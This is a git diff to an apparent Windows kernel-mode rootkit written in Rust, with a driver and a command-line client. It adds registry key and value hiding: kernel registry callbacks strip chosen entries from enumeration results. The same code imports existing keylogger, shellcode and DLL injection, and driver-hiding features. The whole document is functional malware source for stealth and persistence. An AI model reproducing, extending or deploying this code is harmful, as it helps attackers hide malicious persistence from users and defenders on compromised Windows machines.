diff --git a/client/src/cli.rs b/client/src/cli.rs index f8f53ba..644eae2 100644 --- a/client/src/cli.rs +++ b/client/src/cli.rs @@ -67,21 +67,8 @@ pub enum Commands { /// Operations related to Registry. #[cfg(not(feature = "mapper"))] Registry { - /// name of the key to be protected - #[arg(short, long, required = true)] - key: String, - - /// name of the value key to be protected - #[arg(short, long)] - name: Option, - - /// Add protection. - #[arg(short, long)] - add: bool, - - /// Remove protection. - #[arg(short, long)] - remove: bool, + #[command(subcommand)] + sub_command: RegistryCommands }, /// Operations related to Module. Module { @@ -119,6 +106,49 @@ pub enum Commands { }, } +#[derive(Subcommand)] +pub enum RegistryCommands { + /// Enable protection for the registry + Protect { + /// name of the key to be protected + #[arg(short, long, required = true)] + key: String, + + /// name of the value key to be protected + #[arg(short, long)] + name: Option, + + /// Add protection. + #[arg(short, long)] + add: bool, + + /// Remove protection. + #[arg(short, long)] + remove: bool, + }, + /// Hide the registry + Hide { + /// name of the key to be hide + #[arg(short, long, required = true)] + key: String, + + /// name of the value to be hide + #[arg(short, long)] + value: Option, + }, + + /// Unhide the registry + Unhide { + /// name of the key to be unhide + #[arg(short, long, required = true)] + key: String, + + /// name of the value to be unhide + #[arg(short, long)] + value: Option, + }, +} + #[derive(Subcommand)] pub enum InjectionCommands { DLL { diff --git a/client/src/injection.rs b/client/src/injection.rs index d150905..b897c55 100644 --- a/client/src/injection.rs +++ b/client/src/injection.rs @@ -1,21 +1,34 @@ use { - crate::{driver::open_driver, utils::check_file}, core::ffi::c_void, shared::structs::TargetInjection, std::ptr::null_mut, windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl} + crate::{driver::open_driver, utils::check_file}, + core::ffi::c_void, + shared::structs::TargetInjection, + std::ptr::null_mut, + windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl} }; pub fn injection_thread(ioctl_code: u32, pid: &u32, path: &String) { + println!("[*] Starting process injection for PID: {pid}, using file: {path}"); + + println!("[*] Attempting to open the driver..."); let h_file = open_driver().expect("Failed to open driver"); let status; + + println!("[*] Preparing injection structure..."); let mut info_injection = TargetInjection { path: path.to_string(), pid: *pid as usize }; + println!("[*] Checking if the file exists at the specified path..."); if !check_file(path) { - eprintln!("File not found: {path}"); + eprintln!("[!] Error: File not found at the specified path: {path}. Please check the file path and try again."); return; } + println!("[+] File found."); let mut return_buffer = 0; + + println!("[*] Initiating process injection..."); status = unsafe { DeviceIoControl( h_file, @@ -32,12 +45,15 @@ pub fn injection_thread(ioctl_code: u32, pid: &u32, path: &String) { if status == 0 { eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); } else { - println!("[+] Process injection successfully performed on PID: {pid}"); + println!("[+] Success: Process injection was successfully performed on PID: {pid} using the file at path: {path}."); } + println!("[*] Closing the driver handle..."); unsafe { CloseHandle(h_file); }; + + println!("[+] Driver handle closed. Injection process completed."); } pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) { diff --git a/client/src/main.rs b/client/src/main.rs index 3cccf7d..b0d43a5 100644 --- a/client/src/main.rs +++ b/client/src/main.rs @@ -2,7 +2,10 @@ use { clap::Parser, shared::ioctls::*, module::enumerate_module, - cli::{Cli, Commands, ProcessCommands, ThreadCommands, InjectionCommands, Injection}, + cli::{ + Cli, Commands, ProcessCommands, ThreadCommands, + InjectionCommands, Injection, RegistryCommands + }, driver::{dse, enumerate_driver, unhide_hide_driver}, keylogger::keylogger, process::{ @@ -25,10 +28,11 @@ mod keylogger; mod thread; mod injection; mod module; +mod utils; #[cfg(not(feature = "mapper"))] use { - registry::{registry_protection_value, registry_protection_key}, + registry::{registry_protection, registry_hide}, process::protection_process, thread::protection_thread, }; @@ -145,30 +149,52 @@ fn main() { } }, #[cfg(not(feature = "mapper"))] - Commands::Registry { name, add, remove, key } => { - if *add && *remove { - eprintln!("[-] Error: Both add and remove options cannot be specified at the same time"); - } else if *add { - match name { - Some(ref name_value) => { - registry_protection_value(IOCTL_REGISTRY_PROTECTION_VALUE, name_value, &key, true); + Commands::Registry { sub_command } => match sub_command { + RegistryCommands::Protect { key, name, add, remove } => { + if *add && *remove { + eprintln!("[-] Error: Both add and remove options cannot be specified at the same time"); + } else if *add { + match name { + Some(ref name) => { + registry_protection(IOCTL_REGISTRY_PROTECTION_VALUE, name, &key, true); + }, + None => { + registry_protection(IOCTL_REGISTRY_PROTECTION_KEY, &"".to_string(), &key, true); + } + } + } else if *remove { + match name { + Some(ref name) => { + registry_protection(IOCTL_REGISTRY_PROTECTION_VALUE, name, &key, false); + }, + None => { + registry_protection(IOCTL_REGISTRY_PROTECTION_KEY,&"".to_string(), &key, false); + } + } + } else { + eprintln!("[-] Error: Either add or remove must be specified"); + } + }, + RegistryCommands::Hide { key, value } => { + match value { + Some(ref value) => { + registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, true); }, None => { - registry_protection_key(IOCTL_REGISTRY_PROTECTION_KEY, &key, true); + registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, true); } } - } else if *remove { - match name { - Some(ref name_value) => { - registry_protection_value(IOCTL_REGISTRY_PROTECTION_VALUE, name_value, &key, false); - }, - None => { - registry_protection_key(IOCTL_REGISTRY_PROTECTION_KEY, &key, false); - } - } - } else { - eprintln!("[-] Error: Either add or remove must be specified"); } + RegistryCommands::Unhide { key, value } => { + match value { + Some(ref value) => { + registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, false); + }, + None => { + registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, false); + } + } + }, }, Commands::Module { pid } => { enumerate_module(IOCTL_ENUMERATE_MODULE, pid); diff --git a/client/src/registry.rs b/client/src/registry.rs index 599ee61..e2f7f2a 100644 --- a/client/src/registry.rs +++ b/client/src/registry.rs @@ -5,7 +5,7 @@ use { windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}, }; -pub fn registry_protection_value(ioctl_code: u32, value: &String, key: &String, enable: bool) { +pub fn registry_protection(ioctl_code: u32, value: &String, key: &String, enable: bool) { let h_file = open_driver().expect("Failed to open driver"); let mut info_registry = TargetRegistry { enable, @@ -29,7 +29,7 @@ pub fn registry_protection_value(ioctl_code: u32, value: &String, key: &String, if status == 0 { eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); } else { - println!("[+] Registry value operation succeeded!"); + println!("[+] Registry protection succeeded!"); } unsafe { @@ -37,11 +37,12 @@ pub fn registry_protection_value(ioctl_code: u32, value: &String, key: &String, }; } -pub fn registry_protection_key(ioctl_code: u32, key: &String, enable: bool) { +pub fn registry_hide(ioctl_code: u32, value: &String, key: &String, enable: bool) { let h_file = open_driver().expect("Failed to open driver"); let mut info_registry = TargetRegistry { enable, key: key.to_string(), + value: value.to_string(), ..Default::default() }; let mut return_buffer = 0; @@ -61,7 +62,7 @@ pub fn registry_protection_key(ioctl_code: u32, key: &String, enable: bool) { if status == 0 { eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); } else { - println!("[+] Registry key operation succeeded!"); + println!("[+] Registry hide succeeded!"); } unsafe { diff --git a/driver/src/registry/callback.rs b/driver/src/registry/callback.rs index 45d823c..18db830 100644 --- a/driver/src/registry/callback.rs +++ b/driver/src/registry/callback.rs @@ -1,19 +1,23 @@ #![allow(non_upper_case_globals)] use { - crate::registry::Registry, - crate::utils::valid_kernel_memory, - alloc::string::String, - core::{ffi::c_void, ptr::null_mut}, + super::{ + utils::{check_key_value, enumerate_value_key, RegistryInfo}, HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES + }, + crate::{ + registry::{utils::{check_key, enumerate_key}, Registry}, + utils::valid_kernel_memory + }, + alloc::{format, string::String}, + core::{ffi::c_void, ptr::null_mut}, wdk_sys::{ - *, ntddk::{ - CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx - }, - _REG_NOTIFY_CLASS::{ - RegNtPreDeleteKey, RegNtPreDeleteValueKey, RegNtPreSetValueKey - } - } + CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx, + ExAllocatePool2, ExFreePool, ObOpenObjectByPointer, ZwClose + }, _MODE::KernelMode, _REG_NOTIFY_CLASS::{ + RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey, RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey + }, * + }, }; /// Handle for Registry Callback @@ -46,6 +50,15 @@ pub unsafe extern "C" fn registry_callback( }, RegNtPreDeleteKey => { status = pre_delete_key(argument2 as *mut REG_DELETE_KEY_INFORMATION); + }, + RegNtPreQueryKey => { + status = pre_query_key(argument2 as *mut REG_QUERY_KEY_INFORMATION); + }, + RegNtPostEnumerateKey => { + status = post_enumerate_key(argument2 as *mut REG_POST_OPERATION_INFORMATION); + }, + RegNtPostEnumerateValueKey => { + status = post_enumerate_key_value(argument2 as *mut REG_POST_OPERATION_INFORMATION); } _ => return STATUS_SUCCESS, } @@ -72,7 +85,7 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS { Err(err) => return err }; - status = if Registry::check_key(key) { + status = if Registry::check_key(key, TARGET_KEYS.lock()) { STATUS_ACCESS_DENIED } else { STATUS_SUCCESS @@ -81,6 +94,180 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS { status } +/// Performs the post-operation to enumerate registry key values. +/// +/// # Parameters +/// - `info`: Pointer to the information structure of the post-execution logging operation. +/// +/// # Return +/// - `NTSTATUS`: Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`. +/// +unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS { + if !NT_SUCCESS((*info).Status) { + return (*info).Status + } + + let key = match read_key(info) { + Ok(key) => key, + Err(err) => return err + }; + + if !check_key_value(info, key.clone()) { + return STATUS_SUCCESS + } + + let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_VALUE_KEY_INFORMATION).as_ref() { + Some(pre_info) => pre_info, + None => return STATUS_SUCCESS, + }; + + let mut key_handle = null_mut(); + let status = ObOpenObjectByPointer( + (*info).Object, + OBJ_KERNEL_HANDLE, + null_mut(), + KEY_ALL_ACCESS, + *CmKeyObjectType, + KernelMode as i8, + &mut key_handle + ); + + if !NT_SUCCESS(status) { + log::error!("ObOpenObjectByPointer Failed With Status: {status}"); + return STATUS_SUCCESS; + } + + let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8; + if buffer.is_null() { + ZwClose(key_handle); + return STATUS_SUCCESS; + } + + let mut result_length = 0; + let mut counter = 0; + + while let Some(value_name) = enumerate_value_key(key_handle, pre_info.Index + counter, buffer, (*pre_info).Length, (*pre_info).KeyValueInformationClass, &mut result_length) { + if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) { + if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() { + *(*pre_info).ResultLength = result_length; + core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize); + break; + } else { + log::error!("Failed to copy key information."); + break; + } + } else { + counter += 1; + } + } + + ZwClose(key_handle); + ExFreePool(buffer as _); + STATUS_SUCCESS +} + +/// Performs the post-operation to enumerate registry keys. +/// +/// # Parameters +/// - `info`: Pointer to the information structure of the post-execution logging operation. +/// +/// # Return +/// - `NTSTATUS`: Returns the status of the operation, keeping the original status if the previous operation failed. +/// +unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS { + if !NT_SUCCESS((*info).Status) { + return (*info).Status + } + + let key = match read_key(info) { + Ok(key) => key, + Err(err) => return err + }; + + if !check_key(info, key.clone()) { + return STATUS_SUCCESS + } + + let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION).as_ref() { + Some(pre_info) => pre_info, + None => return STATUS_SUCCESS, + }; + + let mut key_handle = null_mut(); + let status = ObOpenObjectByPointer( + (*info).Object, + OBJ_KERNEL_HANDLE, + null_mut(), + KEY_ALL_ACCESS, + *CmKeyObjectType, + KernelMode as i8, + &mut key_handle + ); + + if !NT_SUCCESS(status) { + log::error!("ObOpenObjectByPointer Failed With Status: {status}"); + return STATUS_SUCCESS; + } + + let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8; + if buffer.is_null() { + ZwClose(key_handle); + return STATUS_SUCCESS; + } + + let mut result_length = 0; + let mut counter = 0; + + while let Some(key_name) = enumerate_key(key_handle, pre_info.Index + counter, buffer, (*pre_info).Length, (*pre_info).KeyInformationClass, &mut result_length) { + let key_format = format!("{key}\\{key_name}"); + if !Registry::check_key(key_format, HIDE_KEYS.lock()) { + if let Some(pre_info_key_info) = (pre_info.KeyInformation as *mut c_void).as_mut() { + *(*pre_info).ResultLength = result_length; + core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize); + break; + } else { + log::error!("Failed to copy key information."); + break; + } + + } else { + counter += 1; + } + } + + ZwClose(key_handle); + ExFreePool(buffer as _); + STATUS_SUCCESS +} + +/// Handles the pre-query key operation. +/// +/// # Parameters +/// - `info`: A pointer to `REG_QUERY_KEY_INFORMATION`. +/// +/// # Returns +/// - `NTSTATUS`: A status code indicating success or failure. +/// +unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS { + let status; + if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { + return STATUS_SUCCESS; + } + + let key = match read_key(info) { + Ok(key) => key, + Err(err) => return err + }; + + status = if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { + STATUS_SUCCESS + } else { + STATUS_SUCCESS + }; + + status +} + /// Handles the pre-delete value key operation. /// /// # Parameters @@ -106,7 +293,7 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize); let name = String::from_utf16_lossy(buffer); - if Registry::check_target(key.clone(), name.clone()) { + if Registry::<(String, String)>::check_target(key.clone(), name.clone(), TARGET_KEY_VALUES.lock()) { STATUS_ACCESS_DENIED } else { STATUS_SUCCESS @@ -138,7 +325,7 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU let buffer = core::slice::from_raw_parts((*value_name).Buffer,((*value_name).Length / 2) as usize); let name = String::from_utf16_lossy(buffer); - if Registry::check_target(key.clone(), name.clone()) { + if Registry::check_target(key.clone(), name.clone(), TARGET_KEY_VALUES.lock()) { STATUS_ACCESS_DENIED } else { STATUS_SUCCESS @@ -179,26 +366,3 @@ unsafe fn read_key(info: *mut T) -> Result { Ok(name) } - -/// Trait for accessing the object in registry information. -trait RegistryInfo { - fn get_object(&self) -> *mut c_void; -} - -impl RegistryInfo for REG_DELETE_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_DELETE_VALUE_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_SET_VALUE_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} diff --git a/driver/src/registry/mod.rs b/driver/src/registry/mod.rs index 69eef95..bb0a1e1 100644 --- a/driver/src/registry/mod.rs +++ b/driver/src/registry/mod.rs @@ -4,12 +4,14 @@ use { alloc::{string::{String, ToString}, vec::Vec}, core::marker::PhantomData, shared::structs::TargetRegistry, - spin::{lazy::Lazy, Mutex}, + spin::{lazy::Lazy, Mutex, MutexGuard}, + utils::KeyListType, wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL} }; #[cfg(not(feature = "mapper"))] pub mod callback; +pub mod utils; #[cfg(not(feature = "mapper"))] pub use callback::*; @@ -19,6 +21,12 @@ pub static TARGET_KEY_VALUES: Lazy>> = Lazy::new(|| /// List of target keys. static TARGET_KEYS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(20))); +/// List of hide keys. +static HIDE_KEYS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(20))); + +/// List of keys and target values. +static HIDE_KEY_VALUES: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(20))); + /// Trait defining common operations for registry lists. trait RegistryList { /// Adds an item to the registry list. @@ -29,6 +37,7 @@ trait RegistryList { /// /// # Returns /// - `NTSTATUS`: Status code indicating success or failure of the operation. + /// fn add_item(list: &mut Vec, item: T) -> NTSTATUS; /// Removes an item from the registry list. @@ -39,6 +48,7 @@ trait RegistryList { /// /// # Returns /// - `NTSTATUS`: Status code indicating success or failure of the operation. + /// fn remove_item(list: &mut Vec, item: &T) -> NTSTATUS; /// Checks if an item is in the registry list. @@ -49,6 +59,7 @@ trait RegistryList { /// /// # Returns /// - `bool`: Returns true if the item is in the list, or false otherwise. + /// fn contains_item(list: &Vec, item: &T) -> bool; } @@ -88,7 +99,7 @@ impl RegistryList<(String, String)> for Vec<(String, String)> { impl RegistryList for Vec { fn add_item(list: &mut Vec, item: String) -> NTSTATUS { if list.len() >= 20 { - log::error!("The list of protected keys is full"); + log::error!("The list of keys is full"); return STATUS_UNSUCCESSFUL; } @@ -129,14 +140,29 @@ impl Registry<(String, String)> { /// /// # Returns /// - `NTSTATUS`: Status code indicating success or failure of the operation. - pub fn add_remove_registry_toggle(target: *mut TargetRegistry) -> NTSTATUS { - let mut list = TARGET_KEY_VALUES.lock(); - let key = unsafe { &(*target).key }; - let value = unsafe { &(*target).value }; - let status = if unsafe { (*target).enable } { - Vec::add_item(&mut list, (key.clone(), value.clone())) - } else { - Vec::remove_item(&mut list, &(key.clone(), value.clone())) + /// + pub fn add_remove_registry_toggle(target: *mut TargetRegistry, list_type: KeyListType) -> NTSTATUS { + let key = unsafe { (*target).key.clone() }; + let value = unsafe { (*target).value.clone() }; + let enable = unsafe { (*target).enable }; + + let status = match list_type { + KeyListType::Protect => { + let mut list = TARGET_KEY_VALUES.lock(); + if enable { + Vec::<(String,String)>::add_item(&mut list, (key, value)) + } else { + Vec::<(String,String)>::remove_item(&mut list, &(key, value)) + } + } + KeyListType::Hide => { + let mut list = HIDE_KEY_VALUES.lock(); + if enable { + Vec::<(String,String)>::add_item(&mut list,(key, value)) + } else { + Vec::<(String,String)>::remove_item(&mut list, &(key, value)) + } + } }; status @@ -150,9 +176,9 @@ impl Registry<(String, String)> { /// /// # Returns /// - `bool`: Returns true if the key-value pair is in the list, or false otherwise. - pub fn check_target(key: String, value: String) -> bool { - let list = TARGET_KEY_VALUES.lock(); - Vec::contains_item(&list, &(key, value)) + /// + pub fn check_target(key: String, value: String, list: MutexGuard>) -> bool { + Vec::<(String, String)>::contains_item(&list, &(key, value)) } } @@ -165,15 +191,31 @@ impl Registry { /// /// # Returns /// - `NTSTATUS`: Status code indicating success or failure of the operation. - pub fn add_remove_key_toggle(target: *mut TargetRegistry) -> NTSTATUS { + /// + pub fn add_remove_key_toggle(target: *mut TargetRegistry, list_type: KeyListType) -> NTSTATUS { let key = unsafe { &(*target).key }.to_string(); let enable = unsafe { (*target).enable }; - let mut list = TARGET_KEYS.lock(); - if enable { - Vec::add_item(&mut list, key) - } else { - Vec::remove_item(&mut list, &key) - } + + let status = match list_type { + KeyListType::Protect => { + let mut list = TARGET_KEYS.lock(); + if enable { + Vec::add_item(&mut list, key) + } else { + Vec::remove_item(&mut list, &key) + } + } + KeyListType::Hide => { + let mut list = HIDE_KEYS.lock(); + if enable { + Vec::add_item(&mut list, key) + } else { + Vec::remove_item(&mut list, &key) + } + } + }; + + status } /// Checks if the key is in the list of protected keys. @@ -183,8 +225,7 @@ impl Registry { /// /// # Returns /// - `bool`: Returns true if the key is in the list, or false otherwise. - pub fn check_key(key: String) -> bool { - let list = TARGET_KEYS.lock(); + pub fn check_key(key: String, list: MutexGuard>) -> bool { Vec::contains_item(&list, &key) } } diff --git a/driver/src/utils/ioctls.rs b/driver/src/utils/ioctls.rs index 802c0fd..04f3cd5 100644 --- a/driver/src/utils/ioctls.rs +++ b/driver/src/utils/ioctls.rs @@ -1,9 +1,9 @@ use { crate::{ - *, - callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList}, - driver::Driver, injection::{InjectionShellcode, InjectionDLL}, keylogger::set_keylogger_state, - module::Module, process::Process, thread::Thread + callbacks::{Callback, CallbackList, CallbackOb, CallbackRegistry}, + driver::Driver, injection::{InjectionDLL, InjectionShellcode}, + keylogger::set_keylogger_state, module::Module, + process::Process, thread::Thread, * }, alloc::boxed::Box, core::mem::size_of, @@ -16,14 +16,13 @@ use { wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS} }; - #[cfg(not(feature = "mapper"))] use { crate::{ process::add_remove_process_toggle, thread::add_remove_thread_toggle, handle_registry, - registry::Registry + registry::{Registry, utils::KeyListType} }, shared::structs::{ProcessProtection, ThreadProtection, TargetRegistry}, }; @@ -191,14 +190,28 @@ lazy_static! { ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE"); - let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry) }; + let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY"); + let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) }; unsafe { (*irp).IoStatus.Information = 0 }; status }) as IoctlHandler); - ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY"); - let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry) }; + ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_HIDE_UNHIDE_KEY"); + let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) }; + unsafe { (*irp).IoStatus.Information = 0 }; + status + }) as IoctlHandler); + + ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + log::info!("Received IOCTL_HIDE_UNHIDE_VALUE"); + let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) }; unsafe { (*irp).IoStatus.Information = 0 }; status }) as IoctlHandler); diff --git a/driver/src/utils/macros.rs b/driver/src/utils/macros.rs index d13fe95..783815d 100644 --- a/driver/src/utils/macros.rs +++ b/driver/src/utils/macros.rs @@ -110,7 +110,7 @@ macro_rules! handle_injection { #[cfg(not(feature = "mapper"))] #[macro_export] macro_rules! handle_registry { - ($irp:expr, $action:expr, $type_:ty, $information:expr) => {{ + ($irp:expr, $action:expr, $type_:ty, $information:expr, $type_registry:ty) => {{ let output_buffer = match crate::utils::get_output_buffer::<$type_>($irp) { Ok(buffer) => buffer, Err(status) => return status, @@ -119,13 +119,12 @@ macro_rules! handle_registry { $action(output_buffer, $information) }}; - ($stack:expr, $action:expr, $type_:ty) => {{ + ($stack:expr, $action:expr, $type_:ty, $type_registry:expr) => {{ let input_buffer = match crate::utils::get_input_buffer::<$type_>($stack) { Ok(buffer) => buffer, Err(status) => return status, }; - - $action(input_buffer) + $action(input_buffer, $type_registry) }}; } @@ -147,6 +146,15 @@ macro_rules! handle_module { $action(input_buffer, output_buffer, $information) }}; + + ($stack:expr, $action:expr, $input_type:ty) => {{ + let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) { + Ok(buffer) => buffer, + Err(status) => return status, + }; + + $action(input_buffer) + }}; } /// Macro to handle callback-related operations. diff --git a/shared/src/ioctls.rs b/shared/src/ioctls.rs index 54938ee..b870ea4 100644 --- a/shared/src/ioctls.rs +++ b/shared/src/ioctls.rs @@ -40,12 +40,14 @@ pub const IOCTL_ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, // Registry pub const IOCTL_REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_HIDE_UNHIDE_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS); // Module -pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS); // Injection -pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS); \ No newline at end of file +pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS); \ No newline at end of file